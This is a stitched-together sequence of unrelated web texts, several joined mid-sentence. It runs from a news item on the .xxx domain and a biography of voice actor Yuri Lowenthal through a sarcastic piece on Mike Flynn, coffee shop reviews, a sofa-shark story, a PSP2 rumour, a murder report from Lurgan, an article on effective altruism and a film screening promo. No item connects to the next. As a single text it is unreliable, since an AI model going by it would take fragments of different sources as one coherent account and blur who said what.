In addition to promising consumers of Internet porn safety from online fraud (including e-mail spoofing, phishing and spam) and child pornography, ICM is also telling webmasters they will see more traffic and higher profits with the new domain, which it says will become a trusted brand for porn connoisseurs.
In addition to the.xxx URLs, ICM is dropping hints about a unique micro-payments platform for porn content on the web. It says the new system will be "safe, secure and anonymous," potentially opening floodgates of new revenue for the porn industry.
ICANN has been seriously considering approving this TLD since last summer.
Image courtesy of Flickr, adrian_wallett.Yuri Lowenthal (born March 5, 1971)[1][2][3] is an American actor, producer, and screenwriter known chiefly for his voice-over work in anime, cartoons and video games. Some of his prominent roles in anime and cartoons include Sasuke Uchiha in Naruto, teenage Ben Tennyson in Ben 10, Jinnosuke in Afro Samurai, Simon in Gurren Lagann, and Suzaku Kururugi in Code Geass. In video games, he voices The Prince in Ubisoft's Prince of Persia, Alucard in Castlevania, Hayate/Ein in Dead or Alive, Matt Miller in Saints Row, the Protagonist in Persona 3, Yosuke Hanamura in Persona 4, Marth in Fire Emblem, Peter Parker / Spider-Man in Insomniac's Spider-Man. He has a production company Monkey Kingdom Productions with his wife, Tara Platt, where they have produced several feature films and a live-action web series called Shelf Life. He co-authored the book Voice-Over Voice Actor.
Early life and education [ edit ]
Lowenthal was born in Alliance, Ohio and raised in Nashville, Tennessee,[4] later moving to Northern Virginia.[5][6] His father worked for the United States Agency for International Development, and he spent two years in Niger in Africa.[5] He didn't do much acting until the end of high school when he tried out for drama class in his senior year, but it was enough to get him interested in acting.[7] His early exposure to anime was from shows such as Speed Racer, Star Blazers and Battle of the Planets.[8]
At The College of William & Mary in Williamsburg, Virginia, he took classes in theatre but majored in East Asian studies where in his third year, he studied abroad in Osaka, Japan.[9] He also participated in the school's gymnastics program and ROTC.[5] After graduating in 1993, he joined the Japan Exchange and Teaching Programme (JET) where he served as a Coordinator of International Relations, helping out foreign English teachers in Shiga Prefecture. While at JET he continued to participate in theatre and acting.[5][7][9] After two years there, he still wanted to try acting full-time, and moved to New York City and participate in theatre in shows that were off-off-Broadway.[5] He spent six years in New York doing theatre and indie films.[7][9][10][11]
Voice-over career [ edit ]
Lowenthal moved to Los Angeles and worked in live-action and theatre roles,[12][13][14] To supplement his on-camera work, he and his wife Tara Platt took a voice-over class.[5][7] Their instructor later happened to be directing the English dub for an anime show called SD Gundam Force; he got his first ever anime dub role there, and soon tried out for other anime roles as well as other voice-over work in animation, commercials, and video games. Lowenthal recalled that his first voice appearance in a video game might have also been for SD Gundam Force.[15]
Lowenthal's first major role in video game voice-overs was as the Prince in Ubisoft's Prince of Persia: The Sands of Time. In an interview with Critical Gamer, he describes that role as "a very lucky break for me, because it ended up being a super game. We audition all the time for all different kinds of projects, and videogames are one part of that, a part that I love." He said that "[he felt] that [he] in a way originated that role". Lowenthal did not return to voice the Prince in Warrior Within, being replaced by Robin Atkin Downes. Lowenthal felt that this was a conscious decision by Ubisoft to fit in with the game's overall tonal shift, and thought it was the right decision. For The Two Thrones, he returned to play the role, as fans had stated their preference for his portrayal of the character.[16] The Prince became one of Lowenthal's favorite roles, and he was pleased to return to the role for The Forgotten Sands.[17] According to Lowenthal, his well-received performance put pressure on him in future games from both fans and staff, as he needed to remain true to and improve on his original portrayal. This ultimately gave him little creative freedom with the character after The Sands of Time.[15] For the reboots following the live-action films, the staff wanted a different portrayal of the Prince to Lowenthal's, and so recast the role.[16]
Lowenthal continued voicing in other anime shows, including the lead character Haru Glory in Rave Master, which had a run on Cartoon Network's Toonami line up.[18] He also voiced a character in Zatch Bell! which had a notable run on Cartoon Network. He starred in a number of anime shows such as: Girls Bravo where he played Yukinari,[19] Scrapped Princess where he voiced Leo Skorpus,[20] Kyo Kara Maoh, where he voiced Yuuri Shibuya, and Saiyuki Reload where he voiced Son Goku.[21] When he auditioned for Naruto, which was being directed by the same person who did Rave Master, he had tried out for multiple roles including Sasuke Uchiha and Iruka, and got a call back for Sasuke. In an interview with Silionera, Lowenthal said that "It certainly allows me to go to some dark places as the series continues. And it makes Sasuke that much more interesting as a character. And that much more fun to play." [20] The Naruto anime became one of the more popular anime shows in the U.S.,[22] and its sequel Naruto Shippuden has also aired on Adult Swim.[23]
Afro Samurai Lowenthal in 2009 for a launch party for
In 2007, Lowenthal was cast as Jinnosuke, aka "Kuma", a teddy-bear-headed warrior, in the anime feature Afro Samurai which starred Samuel L. Jackson as the title character. In an interview with Eastern Kicks, Lowenthal said that what he liked about Jinno was that he "starts off as one guy and ends up in a very different, very very dark place. Plus I got to kick Sam Jackson's ass. And they keep bringing him back from the dead for me to play again. And he's a twin-sword-wielding insane cyborg death machine with a giant teddy bear head. What's not to like?"[24] He also said that they recorded the voicing for Afro Samurai separately so he did not get to meet Jackson personally until a release party for the related video game years later.[5][24] Luke Carroll of Anime News Network described Lowenthal's voicing as a "good performance" but "not enough to make it more than an average dub at best".[25] Dennis Amith of J-ENT! thought the voice acting was well done.[26] Lowenthal would reprise the role in the 2009 feature Afro Samurai: Resurrection.[27][28] Steve Fritz of Newsarama wrote "The action sequencing is still top notch, and the vocal performances from Jackson, [Lucy] Liu, Lowenthal and company is on the money."[29]
Other lead roles in anime include Suzaku Kururugi in Code Geass, which ran on Adult Swim,[30] and Simon in Gurren Lagann, which ran on Toonami.
In 2006, Lowenthal landed the role of Superman in the cartoon series Legion of Superheroes. In the show, Superman travels to the 31st century to help superheroes battle against the Fatal Five villains. In an interview with The Oklahoman, Lowenthal recalled that he read for Lightning Lad and Brainiac 5 in the original audition, and was called back to do Superman. During the callback, he had begun reading for Superman and Braniac 5 when the producers stopped him. He was later informed that he got the main role, and they did not need to hear more of him on other parts.[31]
In 2008, Lowenthal provided the voice of 15-year-old Ben Tennyson in Ben 10: Alien Force.[32][33] Set five years after the original series, the premiere of Alien Force set ratings records for Cartoon Network in its key demographics.[34] In portraying Ben, Lowenthal was given guidance by series director Glen Murakami who he had worked with on Teen Titans: Trouble in Tokyo. Early on in the show, Murakami told Lowenthal to portray Ben as less of a wisecrack than his 10-year-old persona, and did not want Ben to "veer into the whining, Luke Skywalker". The show was renewed for a second season,[35] and would be followed by Ben 10: Ultimate Alien which ran from 2010–12, and Ben 10: Omniverse[36] which ran from 2012–14. In Omniverse, Ben's age was bumped up to 16 years old.[33] Lowenthal said that he did not realize how popular the show was outside North America until he went to Australia, England and Ireland, and saw kids wearing Ben 10 merchandise. He also said that at comic conventions, he was able to walk the halls unbothered until the Ben 10 panel, after which he was "outed".[33]
Lowenthal has also been involved in The Swan Princess direct-to-video series starting in 2012 with The Swan Princess Christmas where he was the voice of Prince Derek, and then in 2014 with The Swan Princess: A Royal Family Tale and in 2016 for The Swan Princess: Princess Tomorrow, Pirate Today where he reprised the main role.[37] Of these videos, he also served as the screenwriter on Christmas and Royal Family Tale.[38][39]
Lowenthal speaking with fans at the 2016 Saboten Con
Lowenthal provided the voice for the protagonist in Persona 3 and Yosuke Hanamura for Persona 4. He also provides the voice of Cecil Harvey in the Nintendo DS remake of Final Fantasy IV, and again in Dissidia: Final Fantasy on the PSP. In the Dead or Alive series, he voices Hayate / Ein. He voices Matt Miller, the leader of the Decker gang in Saints Row: The Third; and in its sequel. Kirk McKeand of Eurogamer described Lowenthal as "the man you've killed the most" for his participation in over 200 video games.[40]
Acting and production career [ edit ]
Lowenthal has been involved in several live-action projects with his company Monkey Kingdom Productions with wife Tara Platt. In 2008, they produced Con Artists, a mockumentary that chronicles some of their convention visits.[2] They produced a psychological thriller film called Tumbling After which garnered an Award of Merit at the Accolade Film Festival.[41][42] In 2011, Lowenthal and Platt produced Shelf Life, a web series where they act as action figures in a Toy Story-like environment, but with more adult humor.[43][44][45] Lowenthal said in an interview that he wanted to make a show for nerds: "I wanted to make the kind of thing that my friends and I would watch. It’s got the four S’s: Sex, Social commentary, Slapstick and Superheroes."[46] In 2014, they produced a short steampunk-themed film called Topsy McGee vs. the Sky Pirates which was an official selection at the New York City International Film Festival.[47][48] and was a finalist at the Dragon Con Independent Short Film Festival in the steampunk category.[49][50]
In 2010, Lowenthal starred as the title character in Van Von Hunter, a live-action mockumentary co-directed by Tokyopop founder Stuart Levy, based on the comics of the same name. In the film, he plays a sword-swinging barbarian from a fantasy world who is thrown into Earth and is cast in a sword and sorcery movie. The film was featured in several film festivals,[51] and was an official selection at Fantasia Film Festival[52] and a special audience award at MockFest 2010. Lowenthal won an award for best character at MockFest as well.[53]
He co-wrote the screenplay for The Arcadian, a film by Dekker Dreyer that was inspired by underground science fiction comics of the 70s and 80s.[54] In 2015, he joined Wil Wheaton's web series Titansgrave as a starring cast member which he role-plays a character named S'Lethkk. The series is broadcast by Geek & Sundry.[55][56] In 2016, he starred as Glenn Lauder in the Keith Arem-produced film The Phoenix Incident, about four guys who were trying to follow the Phoenix lights UFO sighting and end up being attacked by the aliens.[57][58][59] The film received awards and nominations at film festivals.[60][61] He is slated to participate in an independent film called Any Bullet Will Do which stars Mark Ryan and was filmed in Montana.[62]
He and Platt co-authored the book Voice-Over Voice Actor: What It's Like Behind the Mic, released in 2010.[63][64] He also co-authored the comedy-noir novella Tough City with Keith Ikeda-Barry as part of a 72-hour novel writing contest. It was released in 2013.[65] In 2016, he released the novella as a weekly podcast series.[66][67]
Personal life [ edit ]
Lowenthal met actress Tara Platt on an NYU grad film where they played opposite each other in a romantic comedy film called Model Chaser.[7] Six months into their relationship, Lowenthal helped Platt do a cross-country move to Los Angeles so that Platt could participate in auditions there for new TV shows. He had originally planned to fly back after the move, but midway through the trip he proposed to her in Bowling Green, Ohio, and they married in Las Vegas in 2002.[5][35] They founded a company called Monkey Kingdom Productions in 2004. Their first child, Sagan Carter Lowenthal, was born in 2016.[68]
When asked about his ethnic background, Lowenthal has tweeted that he is a "Tennessee Jew",[69] and has mentioned being Jewish on various media.[70][71]
Filmography [ edit ]
Books [ edit ]Remember Mike Flynn? The ex-national security adviser who was forced to resign after he forgot to mention some conversations he’d had with Russian ambassador Sergey Kislyak? Whose unfair persecution at the hands of James Comey was allegedly one of the reasons Donald Trump fired his own F.B.I. director? Who received $600,000 in a lobbying deal from a Turkish man with business ties to Russia, and who subsequently blocked a plan to attack ISIS that the Turkish government opposed, all without ever registering a foreign agent or disclosing his lobbying deals? He’s back in the news today, and if you were hoping it was for something fun like Flynn announcing that he is joining the next season of Dancing with the Stars, you will be disappointed.
BuzzFeed News reports that two weeks before Donald Trump was inaugurated, Flynn and soon-to-be White House advisers Steve Bannon and Jared Kusher had a secret morning meeting with Jordan’s King Abdullah II, during the same period in which Flynn was pushing “a multibillion-dollar deal to build nuclear reactors in Jordan and other Middle East nations.” (Like 100 other foreign contacts he initially failed to disclose, Kushner’s initial security clearance form failed to mention this particular meeting.) According to BuzzFeed, topics discussed included “Israeli-Palestinian relations, intelligence sharing between America and Jordan on Syria, ISIS,” and a nuclear project called the Marshal Plan, a $200 billion project which initially involved U.S. companies building reactors in Jordan and other Middle East nations, with security handled by a Russian state-owned firm called Rosoboron, which, incidentally, is currently facing the possibility of U.S. sanctions.
People close to the three Trump advisers say that the nuclear deal was not discussed. But a federal official with access to a document created by a law enforcement agency about the meeting said that the nuclear proposal, known as the Marshall Plan, was one of the topics the group talked about.
According to Politico, Flynn was paid at least $25,000 in his capacity as a consultant on the plan by one of the American companies involved. According to the Wall Street Journal, Flynn’s disclosure forms “indicate that [his] year-and-a-half work on the project ended in December 2016, but Mr. Flynn in fact remained involved in the project once he joined the Trump administration in January, discussing the plan and directing his National Security Council staff to meet with the companies involved, the former staffers said.” (Flynn’s lawyer declined to comment to the Journal, as did the White House.)
If this all sounds like the type of thing that’s going to keep you up at night, you’re not alone. “Any proposal to introduce dozens of nuclear reactors to the Middle East, particularly Saudi Arabia, raises many proliferation red flags,” the Arms Control Association’s Daryl Kimball told BuzzFeed. “The Saudis do not need nuclear power and them gaining access could lead to dangerous consequences down the road.” Giving a country nuclear energy capacity, as the Marshall Plan would, “is like giving a country a nuclear weapons starter kit,” the nonprofit Center for Arms Control and Non-Proliferation’s Alexandra Bell said.
On the bright side, Flynn, Bannon, and Kushner are completely transparent, highly qualified people who we can definitely trust with national security.
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New York City private-school alums tell Steve Mnuchin to grow a pair
If you’re having a rough day, week, or month, consider stopping and considering the alternative: you could be Steve Mnuchin. After managing to further cement his and his wife Louise Linton’s reputation as out-of-touch grifters, via revelations he asked to borrow a government jet for their honeymoon and suggesting only people from flyover states cared about the solar eclipse, the Treasury secretary is facing calls from alums of his high school to resign.
The New York Times |
November 13, 2017
***
Related:
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‘EXTREMELY DISHONEST’: CNN gets BUSTED for editing video to make Trump look bad
‘Dafuq, CNN??’ This summary of Texas church shooting victims sends heads to desks
Wait, WHAT? CNN’s got ALL the bases covered in Rand Paul assault stories (cue eye rolls!)A rare sofa shark, Psuedotrakias microdon, that has been compared to an ugly blobfish and that normally live at depths of 4,600 feet was recently captured off the coast of Scotland.
These strange and unusual looking sharks can grow up to 9.8 feet long but this one that was captured near the Isle of Barra in the Outer Hebrides was closer to six feet long. While they are not uncommon, this is only the second time that the fish has been found in Scottish waters.
These sofa sharks, also referred to as false catfish, are large and heavy with long narrow eyes. They generally feed off deep-sea prey as they move slowly along the sea floor, but previous studies indicate they will eat almost anything that makes its way to deeper waters. They are also equipped with large mouths and numerous rows of tiny teeth.
"I was pretty surprised when it landed in our boat. We hadn't seen one in ten years," Dr. Francis Neat, a member of the Scottish Shark Tagging Programme, said in a statement. "It's not unique to Scotland, but it's certainly interesting to look at -- it's a big and baggy looking creature. It looks a lot like a soft, discarded sofa when it's just lying there."
The recent sighting of a rare sofa shark has earned the species a spot on Scotland's long list of native species. Previously, these sharks have been seen in coastal waters of Canada, Brazil, Portugal, Iceland, New Zealand, Hawaii and Japan.
For more great nature science stories and general news, please visit our sister site, Headlines and Global News (HNGN).
-Follow Samantha on Twitter @Sam_Ashley1322
218 Oakfield Dr
Brandon, FL 33511
(813) 409-3730
This little hidden gem across the street from the Brandon Hospital was quite the surprise. My wife and I along with another couple stopped in about 5:00 PM Saturday and were greeted very warmly by the owner Vanessa. The coffees both cold and hot were perfect and the chocolate muffin was decadently tasty. The price and service are both outstanding. It is a small place, but it is what you would expect from a local coffee shop. If you are tired of the Starbucks prices and the campers taking up all the seat for hours at a time, then this is the place to stop by for a great coffee or tea and a snack.
We have very few Mom & Pop coffee houses in our immediate neighborhood, so this was a welcome new business to find in the town of Brandon. It's located directly across the street from Brandon Regional Hospital. I thoroughly enjoyed the Chai Tea Latte and Chocolate Croissant, and Jessica T had an Iced Chai and a Chocolate Muffin. The Chocolate Croissant was flaky and filled with semi-sweet chocolate, which made it decadent. The Chocolate Muffin was made in-house, and I had a taste of it. It was like a rich, moist cake that had been baked with love. I also purchased some Metropolis "La Cordillera" whole coffee beans. The light-medium roast has notes of milk chocolate, graham cracker and pecans. It is lovely and enveloping like arms hugging you. I like to grind my own beans as I use them for the most potent flavor. The space is drenched in warm hues of yellow and decorated with touches of modern decor. There is a single table seating just outside the door. Customer service is on point and the young owner, coming from working as a barista in several coffee shops, has a broad knowledge of what works and what needs to be done to succeed. I wish her well in her endeavor. We will definitely be back soon! 38/100
This coffee shop is located in a strip mall that has white and black lettering with their name on it. It is located on Oakfield Drive and Moon Ave across from Brandon Regional Hospital Emergency Room............................................................ THE CUSTOMER SERVICE ~~~~~~~~ The owner is very nice and let us know a little bit about the place. She is cheerful and friendly and a good conversationalist I liked talking with her. I can tell she has a lot of coffee knowledge. She welcomed us in and served us up fast. ~~~~~~~~~~ THE INSIDE ~~~~~~~~~~~~~~~~ The inside has a modern feel with wooden floors and a dark interior. There are places to sit but there is a minimum. It is a small store. The walls are painted yellow with a little bit of decor on them. It is chill and calm inside. THE CHAI CARAMEL ~~~~~~~~~~~~~~~ I ordered a medium and should've gotten a small. I couldn't finish it. I asked for a Chai Caramel. I love almond milk and switch back and forth with soy milk. I have them blend caramel syrup inside. THE CHOCOLATE MUFFIN ~~~~~~~~~~ This muffin tasted like a chocolate cake that had been baking all day. I like the fudge like texture inside. The top of it was nice and crisp and it was wrapped in a tulip wrapper. These pastries are baked on site by the owner. I ended up bringing the rest of mine home. It was rich and decadent. ~~~~~~~~~~~~~~~~ THE CINNAMON APPLE MUFFIN ~~~~~ I thought this was really nice. I liked the texture and moisture of the muffin. It's not like a fruit cake where there are chunks of fruit inside but it has a smooth inside with pops of apple and cinnamon flavors and sprinkled with a little sugar on top that added a nice crunch factor.................................................................. SEE YOU SOON!
A small quiet little coffee spot in a plaza dominated by health related businesses. When I first pulled up I couldn't really spot it among all the medical equipment stores. It's right across from the hospital, next to a scrubs shop. I was the only one there when I walked in. The hideout seems like the perfect name, I can imagine it provides a little break from the hustle and bustle of the hospital scene. There's a living room like area for lounging, two small tables and a counter you can sit at. It's small but with a cozy and laid back feel. There was a cute tea display, they all sounded delicious but I needed energy. I went for the Grumpy Joe, which is a brewed coffee with added espresso. When I was done, I was grumpy no more. As a matter of fact I was up way past my bedtime that night. What I had wasn't a specialty coffee BUT it's the kind of coffee that's roasted correctly and that I find myself craving during the week. The barista recommended the frozen coffees, ill try those next! A great addition to a part of Brandon that's lacking in coffee spots.
Amazing is an understatement! Vanessa is so sweet, great personality. I tried the Chia Latte and it was delicious along with the lemon poppyseed muffin. Because I'm a sucker for croissants I also tried the spinach and cheese turnover and it was buttery perfection. I love supporting small businesses and I'm so happy to have this gem in Brandon.
Quaint little laid back coffee shop with everything from brewed coffee, lattes, cappuccino, and french pressed coffees. Chocolate muffin and coffee were excellent. For those familiar with The Revolution Ice Cream Co., it is a similar style and size shop.
This coffee shop is awesome! It's in the old strip plaza on the intersection of Oakfield Drive and Moon Avenue next to the Medicine Shoppe Pharmacy. Unfortunately, it's very easy to miss because the signage doesn't exactly stand out from the rest of the storefronts. However, I can see this place being very popular since it's across from the Brandon Regional Hospital. They have comfortable cushioned seating (sofa & chairs), a couple of tables, and a sit down bar with stools at the front of the shop. There's plenty of seating for anyone who wants to have coffee in a very relaxed atmosphere. I've visited twice since they've opened. The service has been exceptional & friendly each time. I absolutely love their coffee. They get their fresh roasted coffee from the Metropolis Coffee Company in Chicago. The flavor is way better than any of your typical coffee chains. There's nothing bitter in this brew. I'm now addicted to their frozen & iced latte. Both of these drinks can be made with different flavors. I had the white mocha and it was delicious. I've also had a couple of their muffins (banana nut and maui). I'm not sure if they make their own muffins, but they appear to be homemade. They also have a case on the back counter full of mini empanadas. I almost missed them because they're kind of hidden. These were also very yummy. I had the ones stuffed with meat, but they also have empanadas with ham & cheese. The flavors were very authentic. The only negative (and it's not a huge issue) is that the filling was a little (just a tad) too salty. My mother (a native Puerto Rican) mentioned that after tasting it. Other than that, she thought it was very tasty. She just didn't think it needed all that salt because the flavors were all there. This is now my new favorite coffee spot. It's on my way home from work (just a slight detour), which is great. I'll be going more often to get my coffee fix, and to try other muffin & empanada flavors.
We came by after the Y for a quick coffee and treat. Very small and modest coffee shop. The Maui muffin was still warm and very delicious. The chocolate croissant was very good also, nice to have eggless option for my daughter. I had a cold brew, ok will try something different next time. My daughter had mango smoothie also very good. Door was propped open so a little warm for this new Floridian. Would do 3 1/2 stars.
New coffee shop across the street from Brandon hospital. Cute little place with good coffee. We had the caramel latte with a white mocha expresso.
I got a frozen coffee, same size as a grande one at Starbucks. Price racked up to $5. Starbucks was more affordable in this situation. Also I could taste the grains of sugar and I wasn't such a fan of that. Using liquid sugar would've definitely been a better option. Also the music was pretty terrible, I was honestly laughing a bit. They played some old songs I used to hear on the Disney Channel. Though it was heartwarming to hear those very annoying tunes, I would've rather heard some soft tunes like I do at other coffee houses. They also only have the option of medium or large cold drinks, would've loved a smaller option. I still love the fact that this small business is really taking off, but I will not return.
Just stopped here for the first time. It's located across the street from BRH. Meet the owner- professional and sweet! I got the iced coffee with coconut milk and added a little sweetener. Also got a Maui muffin, I'm a coconut lover. Coffee and muffin were great. Parking is very available. Store is clean and was playing great music on the sonos- gotta love the sounds off a quality speaker. This little place proves that attention to detail matters! Definitely worth a visit!
What A cute little place! There is not enough coffee places around Brandon and I am so excited and hope this place days. I have been there twice to order their coconut flavored latte and I love it. I'm always served fast and with friendly service. They also serve some muffins & other homemade munchies.
Super cute and convenient place to get coffee. The staff was friendly and helpful. Price and taste were great too!! Definitely will be back!! Love the atmosphere and food is really yummy. My daughter loved the muffin we got. To top it all off the owners are really cool and down to earth.
Very cozy and personable with a trendy feel! I told the owner who was behind the counter the flavor I was wanting in my coffee and she made me an iced, mocha latte and it was some of the best coffee I have ever had! I am a coffee addict and I frequent several different coffee shops around the greater Tampa area and this is one of the best! Highly recommended!!
Loved this little gem in Brandon! The barista/owner was super sweet too! Cafe au lait was amazing as well. Will be back!
Not your typical coffee place, the couple who runs the place is very friendly and nice it has a great ambiance and relaxing atmosphere. Aside from it's aesthetic the food and coffee is amazing and very conveniently located as well. You can tell the food is home made and the coffee will brighten your day up almost guaranteed. Highly recommend checking out the place.
Stopped in for an almond milk latte and chocolate croissant. Both were delicious and Super friendly customer service.
So happy to have an independent coffee shop in Brandon. Even happier that it's SO GOOD! Great coffee, great baked goods, great service. What more could you ask for?
What a cute and hidden gem of the area! I'm sure the shop will only get more popular as time goes by. The lattes were delicious and strong, the aesthetic was simple and very "in," and the owner was very nice and welcoming. I felt compelled to leave my first yelp review ever for this adorable and impressive cafe. Be sure not to overlook, whether you're local or just passing through.We're only four days away from a supposed January 27th unveiling, but apparently there are still more juicy PSP2 rumors left to dole out -- Japan's often-reliable Nikkei newspaper reports that the handheld machine will sport a crisp OLED touchscreen and 3G data from NTT DoCoMo when it arrives later this year, with the latter enabling multiplayer action and even full video and game downloads over the Japanese cellular network. What's more, the paper confirms that the screen will be physically larger and powered by some potent new silicon. So, how will Sony differentiate this PSP2 from the PlayStation Phone and tempt you to buy both? The game system won't make calls.In case you're not familiar, the image above is a relatively ancient reader mockup, and likely not representative of the final product. It is pretty sexy, though.Image caption The scene in the Toberhewney Hall area of Lurgan on Friday morning
A murder investigation is under way after a woman's body was found in County Armagh.
Police have released the name of the victim. She was 51-year-old Anita Downey.
Her body was discovered in a house in the Toberhewney Hall area of Lurgan at about 02:50 GMT on Friday.
A 51-year-old man arrested on suspicion of her murder remains in police custody.
A post mortem examination is expected to take place on Saturday.
Image copyright PSNI Image caption Police say the victim was 51-year-old Anita Downey.
At the scene: Michael Fitzpatrick, BBC News NI reporter
Police forensic officers are carrying out an examination of the house where the woman's body was discovered in the early hours of Friday morning.
The entire front of the semi-detached property in Toberhewney Hall has been sealed off while investigations are carried out.
A glass panel in a front downstairs window appears to have been smashed.
It is a quiet residential area close to the local high school in the town.
Image caption The front of the property has been sealed off
DUP MLA Carla Lockhart said it was "very alarming news".
"My sympathies are with the family of the deceased," she said.
"The police are treating this as a murder investigation and therefore I would encourage anyone who has any information to come forward to the PSNI."A Centre for Effective Altruism event. Photo via their website.
Social campaigns like the Ice Bucket Challenge and No-makeup Selfie are becoming pretty inescapable. At any one time, I will have at least one person on my social media feed running the length of one country or another, or cycling to a foreign capital, with an accompanying plea to give money to charity. Obviously, all this selflessness is commendable and the effort involved catches people's imaginations, but you could be forgiven for wondering if there's an easier and more effective way to be charitable.
"Effective altruism" is a fast-growing social movement dedicated to maximising the potential of charity. It aims to persuade people to give a significant chuck of their time and money to improving the world and to do so in the most cost-effective way possible. Effective altruists don’t see giving as merely "doing one’s bit". They ask, where can we do the most good with our money, time and effort? How can we choose our careers with this in mind? And how can we best use scientific data to back up our decisions?
Niel Bowerman, co-founder and Director of Special Projects at the Centre for Effective Altruism in Oxford, stresses that the ultimate aim of effective altruism is simply to look at all the problems in the world, then solve as many of them as possible. “One way of talking about effective altruism is as ‘the last social movement that need ever exist’,” he tells me. “We simply ask the question of ‘Where can we have the most impact?’ We’re not tied down to any specific cause, or any specific area.”
The movement earned some publicity last year, when influential moral philosopher Peter Singer gave a TED talk urging people to, “make sure what you do is reasoned, effective and well-directed”. At the time of writing, the clip has had 1,100,050 views. Recently, 180 effective altruists "came together to learn from each other, collaborate and build friendships" at the Effective Altruism Summit in San Francisco. The UK has equivalent events. Clearly, the movement is gaining traction.
Philosopher Peter Singer. Photo via Wiki Commons.
According to Bowerman, there are three key currents which gave rise to this movement. The first is the rise of data-driven development. The second is a burgeoning rationalist community, influenced by research on cognitive biases by Thinking, Fast and Slow author Daniel Kahneman, which explains the two modes of human thinking – the fast, emotional one that we tend to use, and the slow, logical one that we all too often ignore. The idea is that at the moment we place too much emphasis on irrational human judgement. Charity giving should be directed where the money will be spent best, not to whichever cause is tugging on your heartstrings at any given point.
The third reason for the growth of effective altruism, according to Bowerman, is “the expanding moral circle”, promoted by Peter Singer. This is “basically this idea that we should care not just about people in our local community, but also about people far away from us”. A convincing example was provided by Singer in his TED talk: if it costs $40,000 (£25,000) to train a guide dog for a blind American citizen, but between $20-50 (£13-30) to cure a blind person with trachoma in a developing country, would you rather train that guide dog, or cure between 800 and 2,000 people of blindness? With Effective Altruism, charity no longer begins at home – is begins wherever you can have the most impact.
Peter Singer's TED Talk
Many effective altruists pledge to give away substantial portions of their income – the most common fraction being 10 percent. Will MacAskill, a Research Fellow in Philosophy at Emmanuel College, Cambridge, is currently writing a book – Effective Altruism – due out summer 2015, and is co-founder of the non-profit organisations 80,000 Hours and Giving What We Can, based at the Centre for Effective Altruism. He’s pledged to give away everything he earns above £20,000 per year. As President of the 80,000 Hours movement, which takes its name from the scary amount of hours we work in our careers, he doles out alternative careers advice to new job-hunters.
“Recent surveys have suggested that approximately 75 percent of students about to graduate consider social impact to be one of the factors they use in weighing up their career choice,” explains Bowerman. “Ultimately, ‘which of these jobs will allow me to have more impact?’ is a difficult, but factual question. You can’t just answer by thinking about the world, you also need to go and collect data. And so that’s one of the things that 80,000 Hours does.”
MacAskill aims for the organisation to become “the careers place”. “It’s a longer term aim, but we think it’s doable,” he says. “In ten years’ time, as well as having a presence at all major universities, it’ll just become the default that you pursue a career in order to make an impact. Just in the same way that it’s the default that you want a good salary – no one ever questions that as an idea.”
Head of the Cambridge Student Group, Matthew van der Merwe, is certainly convinced. “Effective altruism has definitely influenced my career ambitions”, he says. “I'm choosing my career based largely on altruistic considerations, and I’ve drawn a great deal on 80,000 Hours’ resources to help figure out which career is best for me.”
One of the more left-field ideas is that people should do very well-paid work for a company not usually considered "ethical" – say, working in a high-paying job in finance – with the intention of earning to give away the money. “This isn’t really what many people think of as an ethical career choice,” admits MacAskill. “It’s not something on their radar, and so we’ve made a lot of progress by just letting people know that this is actually an option.”
Notably, former programmer Jason Trigg hit the front page of the Washington Post last year, with half of his Wall Street salary reported to head straight for the Against Malaria Foundation. Meanwhile, previous 80,000 Hours advisees include Matt Gibb, who’s pledged to donate 33 percent of his income plus the value of the equity of his start-ups, Robbie Shade, who earns to give as a Software Engineer for Google, and Alex Foster, CEO of the "Race Yourself" app for Google Glass.
The second, closely affiliated organisation based at the Centre for Effective Altruism is Giving What We Can – co-founded by MacAskill and Dr Toby Ord in 2009 – and this takes as its aim the elimination of global poverty, committing its members to pledge at least 10 percent of their income over the course of their lives. This non-profit currently totals 614 members and an estimated £194 million pledged. Another, more complex aspect of the organisation – taking pointers from US-based pioneers GiveWell – is the research it conducts into evaluating how cost-effective the charities themselves are, as well as how much funding they can actually, profitably use.
While advocating some unorthodox approaches, Effective Altruism ends up pouring cold water on some of the current charity trends, such as the Ice Bucket Challenge. As MacAskill argued in a piece for Quartz, most participation can be explained by "moral licensing".“This is a term used by psychologists,” he expands. “There’s an effect where if someone does one good deed, that can make it more likely for them to do something unethical at a later date. It’s like they have a kind of sufficiency file, where they try to do only a certain amount of good”. So people might do a charity run one day, allowing them to feel justified to do something shitty the next. This kind of giving is also prone to "the wrong donation", or what MacAskill dubs “funding cannibalisation” – money flowing only to certain causes célèbres, at the same time bleeding the needier causes dry.
“I think young people have always wanted to be altruistic,” reckons Bowerman. “With the Internet now, research and ideas about high-impact routes as to how we can make a difference can be spread throughout the world much more easily. And what effective altruism tries to do is provide people with the tools, so that they can use that altruistic spirit to make the greatest impact they can.”
@HuwOliver
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The Potato Salad Kickstarter Is Incredibly StupidFans will be able to see Ghost in the Shell: Arise – Borders 1 & 2 on the big screen on May 29th via Tugg.com! Just take a look below at the list of theaters, plus a link to buy tickets. We need a minimum number of attendees for each screening to make them happen, so please spread the word and get your friends and family to go.
In addition, the first 50 people who purchase tickets online will receive a limited edition Ghost in the Shell: Arise poster! Fans can pick up their posters with a valid photo i.d. at the theater the night of the screening.
synopsis:
In this highly anticipated prequel set in the year after the fourth World War, cyborg and hacker Motoko Kusanagi finds herself wrapped up in the investigation of a devastating bombing. But she’s not the only one looking for answers—as she delves deeper into the mystery of who is behind the attack, a specialized team unlike any before begins to take shape.
New York, NY – AMC Loews Village 7 – Get Tickets
Atlanta, GA – AMC Parkway Pointe 15 – Get Tickets
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Santa Monica, CA – AMC Loews Broadway 4 – Get Tickets
We will add more screenings as they get approved.
As a special bonus, from now until the end of the month we are offering the LOWEST price on Ghost in the Shell: Arise Borders 1 & 2 Japanese Collector’s Editions in our FUNimation Shop! Click here to see our incredibly low sale price. Each Collector’s Edition comes with a unique cut of film strip and an English translated art booklet.Twenty-year-old Dylan Arseo struggles to be heard as he stands in the middle of his mother’s living room in Cathedral City, California, addressing a crowd of about a hundred and fifty kids packed so tightly into the space the walls gleam with perspiration and the ceiling AC vents drip condensation. “Thanks for coming out tonight,” Dylan says, his voice booming over the excited voices and high-pitched feedback from the amplifiers behind him. “Remember to respect the house,” he continues. “And shout-out to my mom, Lisa, for being awesome.” The last statement elicits a roar of appreciation from the crowd that shakes the walls.
